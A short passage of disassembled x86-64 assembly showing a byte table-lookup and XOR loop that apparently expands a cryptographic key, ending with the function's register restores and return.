mov dl, byte [r10 + rax]
mov al, byte [r10 + r9]
mov r9d, r11d
shr r9d, 3
xor sil, byte [rbx + r9]
mov r9d, esi
jmp 0x7ff6850bdf87
cmp esi, 4
jne 0x7ff6850bdf87
mov r9b, byte [r10 + r9]
mov r8b, byte [r10 + r8]
mov dl, byte [r10 + rdx]
mov al, byte [r10 + rax]
xor r9b, byte [rcx]
xor r8b, byte [rcx + 1]
inc r11d
add rcx, 4
xor dl, byte [rcx - 2]
xor al, byte [rcx - 1]
mov byte [rcx + 0x1c], r9b
mov byte [rcx + 0x1d], r8b
mov byte [rcx + 0x1e], dl
mov byte [rcx + 0x1f], al
cmp r11d, 0x3c
jne 0x7ff6850bdf38
pop rbx
pop rsi
ret